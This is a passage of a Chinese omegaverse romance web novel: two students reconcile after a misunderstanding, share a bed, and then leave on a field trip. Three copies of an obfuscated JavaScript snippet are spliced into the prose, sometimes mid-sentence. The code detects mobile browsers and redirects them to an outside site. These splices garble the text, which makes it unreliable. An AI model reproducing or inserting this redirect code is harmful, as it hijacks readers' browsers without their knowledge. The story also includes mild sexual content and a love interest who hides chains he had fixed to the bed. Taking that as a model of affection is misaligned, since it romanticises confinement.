房间内的信息素浓度急速上升。沈千俞刹那间感到令人脊背发寒的压力,像是坠入冰冷刺骨的深海。仪器发出第一声警报,墙上数个用于检测信息素浓度的装置也依次亮起红灯。 在一片刺目的灯光里,沈千俞抬高声音:“喂!你最好冷静点——!” “好啊。” 商随说完往后一靠,差一步突破红线的数值竟是在极短时间内下降。 原本剧烈跳动的波形图很快重新恢复平稳,红灯相继停止闪烁。那股无形而可怖的压力骤然散去,如果不是额角残留的冷汗,几乎令人以为刚才发生的一切都是错觉。 回过神来,沈千俞眼里闪过震惊的神色。 他知道商随与一般人不同,哪怕在特殊易感期的Alpha里也是独一档的存在。但在受药剂诱导的情况下,他从未见过有人能在转眼间压制近乎暴走的信息素。 如果能好好控制,刚才那一下爆发算什么? 终于憋不住了,想发泄? …… 操,疯了吧! 只是吵个架而已,有必要受这么大影响? Alpha之间天然相互排斥。他被商随的爆发弄得浑身不舒服,对方却像没事人一样问:“测评结束了?” 见他点头,商随动手拆掉连接在身上的仪器,宛若被关押已久的恶鬼迫不及待拆除封印。 沈千俞看他站起来,一瞬间几乎想给时绮发消息,让他赶紧跑,至少今天别再和商随撞上。 手指滑进外衣口袋,最后却没碰手机。 某种程度而言,江砚那个离谱的猜测误打误撞对了一部分。 商随于他有恩,无论想做任何事,他都会帮忙。 沈千俞压下良心,硬着头皮问:“你要去做什么?” “还能做什么。” 商随歪过头,没什么耐心地扯掉腺体处最后一组传感器。 本来以为做完测评会冷静下来,心里却越来越没底。 “当然是跟我的伴侣道歉,好好哄一哄他。” - 受药剂影响,做完测评后短时间内信息素无法彻底稳定,会因人出现不同程度的外溢现象。 医院统一提供的阻隔剂带有一股消毒水的氯味。商随略微蹙眉,有些反感这种味道,但总算压下外溢的信息素。 离开之前,他和时绮说过会去原来的地方找他,商随一路下到花园,朝中央的玻璃花房走去。 他边走边思考该怎么解释。越是靠近目的地,心跳的速度就越快。 他已经不记得上一次这样惴惴不安是什么时候。担心时绮不愿意听他解释、或者解释后也无济于事,更担心对方已经离开。 像是越害怕越会发生什么,目及之处空无一人。 他停下脚步,神情一点点沉了下来。 “你在找谁。”一道轻巧的声音忽然从侧后方传来。 时绮不知道躲在花房的哪个角落,这时突然冒出头。像是藏在森林里偷偷观察人类的小动物。 见商随一瞬间看了过来,时绮本想问问检查结果怎么样,最后只简单道:“解释一下吧。” 一切仿佛被施加了透明的魔法,原本烦躁不安的心绪逐渐变得平和。 随着时绮一步步走近,他微微哑着嗓子温柔地说: “抱歉,小绮,一直让你误会我是浍涧的侍应生。” “认识以来,好几次你问到相关的事情,都被我用各式各样的办法搪塞了过去。” 回忆起自己说过的话,商随也有些无言,最终坦白一直以来的顾虑:“因为一开始是以这个身份认识的,如果突然说出真实的情况,我怕显得我很奇怪。” 现在也没好到哪去就是了。 商随在心里默默补充。 时绮动动唇,想说什么,神情意外地看了他一眼。 “第一次在浍涧见面,你问我能不能陪你,我很愿意。不想错过接触的机会,才没有说出真话。” “但再怎么说,都是骗了你。是我做得不对。” 他说完微微垂下眼,静静等待另一个人的回答。 时绮同他对视片刻,眼里竟是逐渐浮现出笑意。 像是发现了什么有意思的事情,时绮再也绷不住,一直冷冰冰的脸上流露出稀奇的神色。 “你怎么还乱丢信息素?”感觉到肩上若有实质的重量,他看似不满地说,“都压着我了。” “对不起。”商随立即试着收敛,他知道自己的信息素有多霸道,“刚才用了药剂,没法完全控制好。” 时绮并不感觉冒犯,反而觉得他被刺激到信息素都控制不好十分有趣。 “原来你心里没底的时候是这副样子,我还以为你能一直维持冷静。” 商随愣在原地,不知道他究竟是什么意思。 不错,这么呆的表情也是第一次见。 时绮点评完,终于说出真话:“之前说看我心情的时候,其实我没有表现出来得那么生气。” 一开始听完江砚的话,他确实觉得莫名其妙。 但他的脾气一向来得快去得快,见到商随的那一刻,他很快想到最关键的一点:江砚能若无其事说出来,说明商随根本没打算故意隐瞒。 商随一共以陪聊的身份和他见过两次,第一次算将错就错;第二次却是他指名道姓要求人家陪他作为补偿,不能把责任全推到一个人头上。 倒不如说,商随本来不是陪聊,却愿意见他,已经十分照顾他的情绪。 “你被吓到了吗?” 回忆起他慌慌张张的模样,时绮觉得自己装得应该挺像那么一回事:“都说我发脾气的时候很吓人。” “……确实很吓人。” “别看我现在表现得很豁达,其实才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15044587|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道的时候,心里真的很不爽。”时绮实话实说,“感觉被你耍得团团转。” 商随似乎想说什么,时绮笑着摇摇头:“我知道你没有那个意思。” 相识以来,无论是假扮情侣、临时标记……一直是商随在帮他的忙,却没跟他要过回报。 就算开头有所隐瞒,如果这样都算“骗”,全天下的骗子得集体失业。 “但可能……我不够大度吧,没办法完全不在意。” 时绮不喜欢把话憋着,连带着自己的不足之处也不想掩藏。 “不想把这件事留在心里,就觉得,那我也耍你一次好了。” “假装很生气,让你也猜不到我在想什么。这样我们就扯平了。” 远远的,沈千俞见他们站在一起,在玻璃花房外停下脚步。 思来想去,他都觉得商随离开前的模样不太对劲,怕时绮如果和他闹翻出什么意外,最后默不作声跟了过来。 商随有点没跟上他的节奏,慢半拍地问:“那你还生气吗?” 时绮摇摇头:“完全不。” “我是不是很幼稚?”见他沉默不语,时绮也有点不好意思,“我以后尽量控制一下。” 时安一直觉得他这个习惯不好,像他这种不会控制脾气、还要闹到明面上的,完全就是没长大的小孩子。 跟家里人就算了,在外面这么闹腾不嫌丢人啊? “没有,你这样有什么说什么很好。”商随道,“真的。” 其实也有一些事情瞒着你。 时绮在心里偷偷想。 尽管商随和大家相处得很好,偶尔他却感觉对方游离在人群之外,似乎有许多秘密。 他知道每个人都有隐私,就连他自己都没说出家里催婚的真实原因,商随至今不知道他有腺体退化症,他却对商随的一切感到好奇。 不该这样,却控制不住在意。 因为太在意,才忍不住发脾气。 原本还想多演一会儿,但在商随说出第一次见面就愿意陪他的时候,时绮实在没有绷住,听完就笑了起来。 商随朝时绮伸出手,将手掌平放在他面前,是一个等待的姿态。 “我们和好吧?” 时绮抓住他的手:“当然了。” 商随稍微用上力气,顺势将他拉进怀里。 看见他们拥抱在一起,沈千俞终于放下心,转身抬步离开。 相较于只知晓特殊易感期的江砚,他切身参与过那段残酷的往事,知道克服一切心理障碍有多困难,因而十分佩服商随最终走了出来。 他希望商随能过得幸福。无论是对恩人,还是对朋友。 当然,最好是在不要违法犯罪的前提下。 看商随今天这架势,人家要是把他甩了指不定得疯成什么样,以后可能得想办法去监狱捞人。 你俩千万要好好的啊,沈千俞发自内心地想。 他暂时还不想更换职业。 “好害怕,”感觉到怀里熟悉的温度和气息,商随终于彻底放松,没骨头一样靠在时绮的肩膀上,“你让我一个人去做检查的时候,还以为你真的不打算理我了。” 时绮一动不动,任由他软趴趴地靠着:“我们不是好朋友吗?” 知道等商随做完检查回来自己就会彻底消气,才会想暂时分开。 “不会因为这么点儿事情不理你,也不会和你生很久的气。” 心里却有一个声音说,只当朋友不够,很好很好的朋友也不够。 至少面对林言,他从来不会脸红心跳。 但商随说过他们是朋友,在找到更合适的身份之前,就先作为好朋友相处吧。 嗯……那种更为亲近、将来可以交换所有秘密的朋友? “不过你可真能瞒,认识这么长时间,我都没觉得有什么不对。”时绮忍不住吐槽,“要是你家破产,你就真去干陪聊吧。” “你一定能超过绘涧现在的门面,天天有人抢着给你开香槟。” “不要,”商随似乎还没从大起大落中缓过来,心有余悸道,“这辈子当一次就够了。” 两个人对视一眼,想起在绘涧阴差阳错的相遇,都忍不住笑起来。 “从来没有人能耍我这么久。”时绮用上力气,戳了几下他的肩膀,“你还是第一个。” 对他来说,这点力道实在不算重,就像猫挠似的。 商随顺从地弯起眼,流露出非常柔软的神色:“对不——” 时绮眼疾手快捂住他的嘴:“不是才说过?扯平了,你没什么对不起我的。” “你对我很好很好,不要道歉。” “小绮……” 商随目光盈盈望着他,忍不住埋下头,蹭了蹭时绮的脖颈。 他一边蹭一边叫时绮的小名,声音仿佛灌了蜜:“小绮、小绮——” 我好喜欢你。 如果真的有命运这种东西,能再次和你重逢,应当是来时路上跌跌撞撞踩着玻璃渣、不知未来将去往何方,但抬手够到的那一刻,就足以称之为幸运的命运。 时绮微微侧过头,被他叫得面红耳热。 才吵完架,怎么商随反而更黏人了。 慌乱之下,时绮动了动鼻尖,匆匆转移话题:“从刚才就想说,你身上的味道好奇怪,为什么信息素里混杂有消毒水的味道?” 时绮不禁担忧地问:“你的检查结果怎么样,信息素不会病变吧?” “……” 商随沉默片刻,一时之间分不清时绮到底是更关心他的信息素,还是他本人。 “检查结果没问题。身上的味道是医院的阻隔剂。” 时绮注意到,商随脖颈后有一片红痕,应该是和医疗仪器接触导致的。 他下意识想伸手摸一摸,又觉得不太合适,没有动手。 做的什么检测,为什么要碰腺体,那么敏感的位置不会痛吗? 清甜的信息素里混合进一股挥之不去的氯味,时绮皱了皱鼻子,顿时理解商随先前为什么会对苦艾味的香水表现出抗拒。 他和对方一样,也不喜欢商随身上沾染其他的气味。 趁商随现在看起来很好说话,时绮得寸进尺: “你今晚能不能好好洗个澡?然后给我当抱枕,陪我睡觉。” 25.爱抚 听见时绮的要求,商随笑着答应:“遵命。” 时绮眼睛一亮,拿出手机:“那我看看酒店。明天有早课,我们就住在学校附近?” “?” 时绮解释道:“从小重山回来后我一直没睡好觉,应该是发情期的影响。我发情期大概还有两三天结束,可以的话,这几天能不能一直陪我睡觉?” 见他不说话,时绮也觉得自己有点儿过分。 “那……你和我睡一晚也行?后面我自己调整一下。” 说是这么说,他的目光依依不舍地黏在商随身上,十分舍不得这只助眠效果超群的香薰抱枕。 “不是因为这个。” 商随略感无言,最后揉了揉他的脑袋:“睡多久都行,住我家吧。” 隔了一小会儿,时绮才怔怔地说:“……啊?” 住商随家? - 从玄关踏入客厅,时绮还有些没反应过来。 巨大的落地窗外灯火辉煌,脚下车流如光带。这片住宅区建在市内最大的公园城内,紧邻人工湖,在寸土寸金的地界闹中取静。 为了方便,商随带他录了门禁。原本以为只录楼下的公共门禁,商随却让他在家门口也录入面容和指纹。 看见他将自己的数据设置为“家人”,时绮终于忍不住。 “你不怕我偷东西吗?” 要是挑个商随不在的日子上门,说不定连银行卡都能顺走。 虽然他不会干这种事,但他们才认识一个多月,商随也太没警戒心了。 “嗯?”对方却故意曲解他的意思,“原来小绮喜欢偷偷摸摸啊。” “……” 商随用恐吓小孩的语气笑吟吟道:“做坏事的话,会被关起来哦。” 时绮给了他一个“受不了你”的表情,注意力很快被室内的布置吸引。 原木与金属材质的茶几同旁边几何形状的落地灯交相辉映,长沙发上堆着材质各异、颜色跳脱的抱枕,角落里粉色长毛的单人沙发压在毛茸茸的地毯上,如同一小座逐渐融化的粉红雪山。 这些风格迥异的家具似乎来自世界各地,却又奇妙地融合。 通往卧室的长廊上绘制了一副壁画,不知道是不是商随亲手画的。弯曲的蛇身穿行在艳色花丛中,被暗绿藤蔓半遮半掩,竖瞳似火,闪闪发光的鳞片犹如宝石。 和他去过的房子完全不一样,这里本身就像一座画廊。 时绮不知不觉沿着壁画往前走。房子是五室两厅的结构,却重新做了空间设计,只有一间卧室。 快到卧室门口,商随叫住他:“你先去洗澡吧,我给你找衣服。” 时间有些晚,没来得及回学校拿睡衣。时绮没有多想,答应一声。 浴室里摆放香薰灯,空气中洋溢着清新的葡萄柚气味。时绮站在花洒下,热水仿佛温暖的丝绸包裹全身,令他微微眯起眼睛。 他的目光不自觉掠过整整齐齐摆放在玻璃木柜里的洗浴用品。大概是商随的爱好,沐浴露和洗发水种类繁多,从花草香到白麝香,各式各样的气味被一一囊括。 一想到自己现在在谁家里,时绮不禁觉得十分新奇。 就像小时候第一次去林言家做客一样,看哪都觉得有趣。 听见浴室里传来水声,确定时绮听不见外面的动静,商随推开卧室门。 沉重的金属铐链锁在床脚,长长的锁链足以让被束缚的对象在宽阔的卧室内活动,却无法踏出卧室一步。 商随提着拆下来的铐链,又想起来,自己好像在画室也放了链子。 不知道时绮还要洗多久,他啧了一声,抓紧时间去画室收拾。 将这些东西全部收进箱子里,上过锁后,他才放心下来。 商随又检查了一遍,确定没有不能让时绮看见的东西,转身去衣帽间找衣服。 快要洗完澡时,时绮听见有人敲门。 隔着门板,略显模糊的声音传来:“我把衣服挂在门上,你自己拿。” 挂在门上的袋子里装着一套新睡衣。令时绮没想到的是,折叠的睡衣里放了新的贴身衣物,并不是商随的尺码。 时绮愣了一下,默默换好衣服。 睡衣对他来说太大了,时绮只能卷起袖口和裤脚,露出细白的手腕和脚踝。 商随在卧室洗澡。等他边擦头发边走出来,时绮假装不经意问:“为什么给我的衣服里还有内裤?” “之前买错尺码了。”商随停顿片刻,补充道,“家里没来过其他人。” 时绮哦了一声,心说你也不用解释得这么详细,身体却放松下来,缩进自己一进门就很感兴趣的长毛沙发里。 比起端端正正坐着,时绮更喜欢没什么规矩地窝在沙发里,他试探性地问:“我可以脱鞋吗?” “怎么,还要我帮你脱吗?” “……” “开玩笑的,你随意。”商随问,“要不要帮你吹头发?” 毛茸茸的沙发比预想中还要柔软舒服,时绮确实不太想动弹,一直以来的家教又让他觉得自己第一次来商随家,不该太过放肆。 时绮最终没能忍住诱惑:“可以吗?” 商随没回答,转身去拿了吹风。 伴随温度适宜的热风,修长的手指一点点撩开湿漉漉的发丝。 或许是商随从头到尾表现得十分纵容,时绮已经没了顾虑,他脱掉拖鞋,用自己最舒服的姿势抱膝坐在沙发上。 商随看见他挽起了尺码不合适的睡衣,白玉一样的脚踩着沙发边缘,树莓粉色的长绒毛将肌肤衬得格外剔透。 商随手指一顿,觉得自己栽得彻彻底底。 只是挽个睡衣而已,为什么会觉得可爱? 时绮看起来十分享受他的服务,白金色的脑袋一点一点,几乎快睡着。 终于,吹风机工作的声音戛然而止。 时绮眨了一下险些合上的眼睛,还沉浸在有一搭没一搭被摸头的舒适里,没想到这么快就迎来结束。 有一瞬间,他后悔自己没把头发留长一点儿,这样就能享受更久一些。 商随看他像是在犯迷糊:“你先去床上。” “哦,好。” 时绮接到指令,听话地站起身。 原本的主卧和次卧一并打通,卧室格外宽敞。为分隔空间,拐角处重新砌了半面装饰墙,最底下镶嵌有一座无火壁炉,能看见墙后的一排排满墙玻璃柜,里面大部分放的是各类首饰。 刚才一路走来,他还看见了一个专门的衣帽间。 难怪商随这么多衣服首饰,一个月不带重样的。 上床以后,时绮意犹未尽,想到刚才吹头时的惬意,脊背微微发痒。 他很喜欢被熟悉的人抚摸,但自从长大一些,时安不会再来主动呼噜他,时绮也觉得喜欢被抚摸太过黏人,与自己一贯的形象不符,从没跟长辈们提过。 林言倒是经常和他有肢体接触,却更接近于打打闹闹。 等到商随吹完头发进来,时绮已经在床上翻来覆去好一会儿,想被触碰的愿望却愈演愈烈。 到底怎么回事。 时绮郁闷地想。 商随的手指沾了罂粟吗?摸一下就好上瘾。 “你能不能……” 在商随躺下后,时绮终于忍不住开口。 Alpha撩眼朝他看过来。时绮咬了咬唇,耳朵都变得通红。 商随看他一直不说话,关心地问:“身体不舒服吗?” 他实在太过温柔,像提出任何要求都会被接受。 时绮脑子一热,顺从内心道:“能不能摸一下我。” 房间内寂静无声,时绮七上八下。 这个要求不会很奇怪吧? “你是小猫小狗吗?”商随不置可否,“睡前还要找人摸摸?” 时绮扭过头:“那算了,我也不是很想——” 修长有力的手臂勾住他的腰,将他轻易而举翻回来。时绮猝不及防撞进一双水光潋滟的眼睛。 每次和商随躺在一张床上,时绮都觉得自己像被任意摆弄的烙饼。 不等他抗议,商随笑着问:“小猫,想要我摸哪?” “……”时绮小声说,“背。” 刚才那一通拉扯令时绮身体发热,相比之下,商随指腹的温度偏冷,触碰上来的一刹,时绮联想到了壁画上鳞片闪闪的蛇。 骨节修长的手指沿着凹陷的背沟向下,隔着一层单薄的真丝睡衣,慢条斯理抚摸。 时绮的背很薄,令他的身形看起来纤瘦利落,如同漫画里的人物。 腰也很细,似乎只有一握。摸到后腰处,能感觉到两只明显的腰窝。 商随恶劣地掐了一把,被捉弄的对象立即像发条玩具一样叫了一声,同时忍不住抖了抖,十分敏感。 “不要捏我。” 商随唇角微扬,眼下的泪痣也好似染上笑意。 “啊,不好意思。” “……” 光看他的表情,很难说是不是真的不好意思。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15053493|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 片刻过后,时绮决定不跟商随计较。 随便吧,这人本来就爱笑。 反正他被摸得很舒服。 最开始他还有些紧张,但不知是信息素的影响、还是商随的技巧太过高超,在温柔细致的爱抚里,时绮全身的骨头都逐渐酥软。 他微微弓起身体,喉咙里发出微不可闻的声音,不知不觉闭上眼睛。 等到他的呼吸变得平缓,商随才发现,时绮已经贴着他睡着了。 很多年前,也有类似的场景。 不过那时候时绮还没意识到自己喜欢被抚摸,只是会贴在他身边享受地眯起眼睛,像是太阳底下休憩的猫。 商随稍微调整姿势,轻轻环住Omega纤薄的背,柔声道: “做个好梦,小绮。” 时绮常年失眠、鲜少做梦,即使有,也是零零碎碎不成逻辑,醒来就再也记不住的短梦。 但这次他梦见了高中时的往事,如同奇迹,一切清晰得仿佛发生在昨日。 梦里他回到了学校云蒸霞蔚的樱花道,和林言一起肩并肩往前走。时绮想到什么,忽然开口:“我昨晚做了梦。” “真的?”林言好奇道,“你都好久没做梦了,不是噩梦吧?” 时绮语出惊人:“是春梦。” 林言原本正在喝水,闻言一刹那喷了出去。 “咳咳!…时绮……咳,你确定你知道什么叫春梦吗?!” “当然知道。”时绮略感无语地看了他一眼,“我梦见了一个Alpha。” 梦里是阳光明媚的午后,他和对方一起待在堆满亚麻抱枕的胡桃木大床上。时绮腿间夹着一只抱枕,跪坐在Alpha身边。 他看不清他的脸,却能感觉到Alpha伸手抚摸他,指腹摩挲过他的肌肤。 林言觉得这个场景确实挺带劲儿,下意识追问:“他摸你哪儿了?” 时绮如实回答:“尾椎骨。” 林言沉默三秒,爆笑出声:“哎我去……!尾椎骨?你的春梦是被人摸尾椎骨?!” “……” “你是猫猫狗狗吗?被摸了那里会开心?”林言越说越好笑,“那你见到喜欢的人会不会摇尾巴?快摇一个啊宝宝,你不是站在我面前吗?” 时绮气得锁住他的脖子,林言比他高一些,挣扎过程中险些把手里的柠檬茶扔出去:“哎哎哎!别动手啊!……我错了我错了!不闹了,你接着说。” Alpha身上散发着若有若无的信息素气味,时绮已经忘了具体的味道,只记得非常好闻。 对方将舌头一点点挤进他的口腔,勾着他接吻。 时绮晕晕乎乎,几乎快融化在柔软的缠绵里,身体里的其他器官也像被触碰到一般随之颤动。 再深一点,舔我…… 好喜欢。 他在梦里分外为亲吻着迷。 “然后……我好像哭了。” 林言愣了愣,没想到是这么个急转直下的绽开:“你在梦里哭了?为什么啊,他咬你了?很疼吗?” 时绮摇摇头,不知道如何描述那种感受:“只是感觉和他接吻好幸福。” 本以为会被嘲笑,没想到林言用一种分外柔和的目光看着他,语气宠溺地说:“你真是好宝宝。” 时绮起了一身鸡皮疙瘩,继续回忆: “他对我很温柔,一直在抚摸我。” “而且他很漂亮。” 尽管看不清脸,时绮依稀记得Alpha长了一双狐狸似的眼睛,潋滟又撩人。 在他幸福到哭泣的时候,对方将他抱进怀里,轻言细语安慰他。 “你这到底是春梦还是纯爱啊?” 林言愣愣地听完,觉得这个梦跟电影似的,最后拍板总结:“不管怎么说,好他妈带劲。” 即使不是真实存在的,这还是时绮第一次对哪个Alpha表现出好感,林言嘿嘿一笑:“你喜欢的原来是这种类型?感觉好会好渣男。” “有吗?”时绮问。 “当然了,你想想!你都哭了,他还能控制好情绪安慰你!……” 梦境随着林言兴致勃勃的声音逐渐远去。 时绮慢慢睁开眼,还没从嵌套在一起的双重梦境中回过神,思维迟滞。 他朝身侧看去,映入眼帘的是一张漂亮的、沉睡的脸。 时绮注视着他,慢半拍地意识到什么。 说起来。 商随和高中时梦到的Alpha,好像完完全全是一个类型。 26.洗衣服 时绮的目光掠过他蝶翼似的睫毛、高挺的眉骨……越看越觉得对方和梦里的Alpha十分相似,视线最终落在商随唇上。 一瞬间涌现起梦中被人细致舔吻的感受,时绮的舌尖像被烫了一下,传来阵阵热意。 发觉自己竟然对着商随想入非非。时绮猛地撇开视线。 他无意识夹了一下腿,而后瞪大眼睛、面红耳赤。 似受到梦境影响,Omega身上用以获得快乐的途径湿润黏糊。时绮绝望地闭了闭眼,一瞬间几乎想原地消失。 他不敢吵醒商随,只能尽量小幅度移动。 快到床边时,一直没动静的Alpha忽然发出轻微的声音。商随调整了一下姿势,手臂往旁边伸,差一点就要抓住他。 慌乱中时绮想起商随说过,他睡觉喜欢抱东西。想来是自己从他怀里离开,对方才会有这样的反应。 时绮急中生智,把枕头塞进他怀里,Alpha的手臂勾着软绵绵的枕头,重新陷入沉睡。 幸好没醒。 时绮松了口气,轻手轻脚下床,穿着拖鞋离开卧室。 在他走后,床上沉睡的人饶有兴趣睁开眼。眸光清明,丝毫不见倦意。 刚才他闻到了时绮的信息素气味,和平时不同,浓郁得仿佛盛放的花。 除此之外,还有一点儿别的…… 如同蛰伏在花丛中嗅到猎物气息的蛇类,Alpha微微弯起眼睛,心情愉悦: “好敏感呢,宝宝。” 时绮脸皮薄,刚才如果拆穿,就算失眠,可能短时间内也不好意思再来找他,更别提和他睡在一起。 稍微等一会儿再过去好了。 时绮丝毫不知道自己的一系列小动作全部落在另一个人眼里。他先是去了一趟卫生间,好不容易擦干净身上黏糊糊的东西,略微软着手脚朝洗衣房的方向走去。 他自己的衣服挂在衣架上,贴身衣物也已经烘干,散发出洗衣液清淡的香气。 时绮将全身上下的衣服都换了一套,挽起毛衣袖子,在洗衣池里手洗自己弄脏的内裤。 想了想,干脆把睡衣也一起弄湿,一并清洗。 时绮很少做家务,动作有些笨拙。他心不在焉,又想起自己刚才的反应。 就算商随给的临时标记压过了热潮,Omega的发情期也可能出现这类状况。 他以前注射抑制剂后偶尔也会有类似的现象,不是第一次。 这回只不过是做了点儿带颜色的梦,梦里的Alpha恰好和商随相似,导致他睡醒在这里洗衣服而已。 时绮不断劝说自己。 对,就是这样。 完全没什么大不了。 ……靠!没有才怪。 时绮用手指搓洗内裤,满脸通红。 他没注意到有人悄无声息走到自己身后。 “你醒得好早。”一道声音毫无预兆传来,“怎么在洗衣服?” 时绮被他吓了一跳,觉得他跟鬼似的,走路没有一丝声音。 反应过来,时绮立即将睡衣盖在最上面,故作镇定:“我昨晚睡觉出了汗,洗一下。” “扔洗衣机就行了,不用这么麻烦。” 时绮哦了一声,却没有动。 所幸商随没再追问,而是边看手机边说:“早上想吃什么?” 时绮只希望他赶紧离开:“你还会做饭吗?” “不会呢,我让人送过来。”商随自然地说,“你早上有课?吃完以后叫司机送你去学校。” 时绮答应下来。想起商随曾经在国外待了三年,却不会做饭。难道那时候身边也有人专门照顾他? 商随忽然放下手机:“不过小绮如果喜欢贤惠的,我也可以学。” “什么?”时绮一愣。 “毕竟假男友也算半个男朋友嘛。”商随边说边走过来,作势要碰他的睡衣,“我来帮你洗衣服吧?” “不用——”内裤就放在下面,时绮差点炸毛,“我自己来!你出去吧!” 商随收回手,在时绮紧张的注视下笑眯眯离开。 真可爱。 逗起来特别好玩儿。 时绮快速洗干净内裤,丢进专用的烘干机,又把睡衣放进洗衣机里,这才放下心。 尽管早上出了点儿意外,但时绮昨晚睡得十分香甜,身体内积攒的疲惫一扫而空,再也没有先前头昏脑涨的痛苦。 接连好几天,他都住在商随家里。 一直不见时绮的影子,林言终于忍不住打听情况。 “我们宝宝的脸蛋简直在发光,看上去没有我也过得好滋润。”林言在公共课上观察他半晌,神情幽怨,“你跟谁厮混去了?留我一个人独守寝室。” “别装。”时绮毫不留情拆穿他,“你昨天的朋友圈显示凌晨两点还在打麻将。” “对,我清一色七对关三家,什么实力不用多言。”林言话锋一转,“但这不是因为你不在吗,你是睡不着回家找小安叔叔了?” 或许是对长辈的依赖,在时安身边,时绮能睡得好一些。 可这个方法越长大越不管用,加上有一段时间,时绮连着和时安睡了一个月,最后被姜礼抱出房间,卧室门在时绮面前无情关上。 彼时面对反应不过来的时绮,姜宥宁嘎嘎直乐:“老爸也要泻火嘛,你理解一下。” 时绮想明白后,耳根微微发热。 “今晚小安爸爸是没法跟你睡觉了,你可以跟姐姐睡。”姜宥宁循循善诱,“我也可以陪你哦,但你得穿裙子给我看。” 时绮用一种看疯子的眼神看她:“我才不要。” “那就算了。”姜宥宁原本也没抱太大希望。时绮越长大越漂亮,却也越来越难骗,弟弟穿裙子的模样大概只能存在于记忆和相册里。 她耸了耸肩,又拉着他的手,满脸暧昧道:“走,我们去偷听一下。一个月没交公粮,战况一定很激烈。” “……” 回过神来,时绮对林言道:“没有,我去找了商随。他的信息素很好用,没多久就能睡着。” “他还真是照顾你,”林言话里有话,“都把你照顾去他家了。” 下一步说不定得照顾到床上。 不对。 看时绮的样子,估计已经到床上了,只是跟一般意义上的不太一样。 这年头居然还有Alpha和Omega盖被子纯睡觉的,这两人真是稀罕物种。 “对了,”林言想到一件要紧事,暂时放下八卦的心思,“我们这周末要去祁江做社会实践,你要不要回来收拾一下?” 时绮点点头:“发情期已经结束了,我今晚住宿舍。” - 从首都到祁江路途遥远,需要坐两天车。 不少学生路上晕车。秦书赫尤其严重,只能一颗晕车药一颗褪黑素,以彻底晕厥作为对抗。 在休息站,时绮看他几乎是飘着下来的,宛如一株焉耷耷的枯草,难得关心一句:“你白天睡这么久,晚上怎么办?” “通宵打游戏。”秦书赫早有准备,“我在平板下了星露谷,你要不要一起?好像还能联机。” 星露谷是一款经营农场的游戏。秦书赫去种地也算养育同类。 时绮摇摇头,鼓励道:“加油种菜,枯草。” “?”什么枯草? 远远的,林言正和傅思越说话。 傅思越读的生物工程专业,恰好和他们一起参加社会实践。一段时间没见,时绮想起最后听见傅思越的消息还是哭到易感期提前,不由得朝那边多看了一眼。 却没想到,傅思越背后长眼睛似的察觉到他的目光,一瞬间看了过来,下一秒又猛地撇开视线。 “我怎么感觉那小子一直在瞪我呢。” 秦书赫偷偷指了指傅思越,很是不满。 “看你长得帅吧。” 时绮随口一说。秦书赫鲜少被他夸奖,顿时喜笑颜开。 时绮仔细看了一圈,发现美院这边没有那道熟悉的身影:“商随呢?” “哥好像临时有事,没跟我们一起。他过两天坐飞机过来。”秦书赫十分后悔,“早知道晕车这么严重,我也自己订机票。” 和冰天雪地的首都不同,祁江绿意盎然、繁花锦簇,阳光明媚得如同春夏相交之际。 连着坐了两天两夜大巴,时绮原本不太提得起精神,下车嗅到空气中的花香味,他动了动鼻子,目光被远处大片大片怒放的辛夷花吸引。 时绮拍了一张照片,顺手传到社交账号上。 @1717177:【分享图片】 [猫向你发来春日明信片。] [小绮出门玩啦?好漂亮的花!] ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15061306|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' [听朋友说A大生化最近有社会实践,应该是在祁江?] [欢迎猫老大莅临祁江视察!宝贝偷偷告诉我你住在什么地方,我要来偶遇!] …… 在一众热情洋溢的评论里,有个互相关注的账号也给时绮留言。 @郁知玲:[你也在祁江?] 郁知玲是时绮做模特认识的朋友。高中时姜宥宁替他介绍了不少工作,时绮在圈内小有名气,但他自己兴趣不大,后来没再从事相关的工作。 跟时绮不同,郁知玲一直活跃在业内,因出众的外表和业务能力,是目前炙手可热的Omega模特。 在社交媒体上说完,郁知玲又给他私发消息:[好巧好巧!我也在祁江,今天有个拍摄,等我收工来找你。] 两人许久不见,时绮答应得很快。 在带队老师那儿完成签到已经接近傍晚。想起秦书赫说商随今天会到,却迟迟没有动静,时绮猜测他可能还在飞机上。 上一次见到商随已经是好几天前的事情,明明之前还睡一张床上,中间两人却一次都没再说过话。 如同某种心照不宣的游戏,他不联系商随,对方也不来找他。 稍微犹豫后,时绮主动给他发了一条消息。 17:[你多久到?] 出乎意料,商随回得很快。 Ss:[刚落地,打车过来。] Ss:[小绮想我了吗><> ……几天不见,这人还是欠欠的。 而且表情符号怎么还进化了。 时绮沉默片刻,回复给他一个句号。 今晚系里没有安排活动,不过明天一早要去工厂参观,带队老师提醒大家不要玩得太晚,在外注意安全。 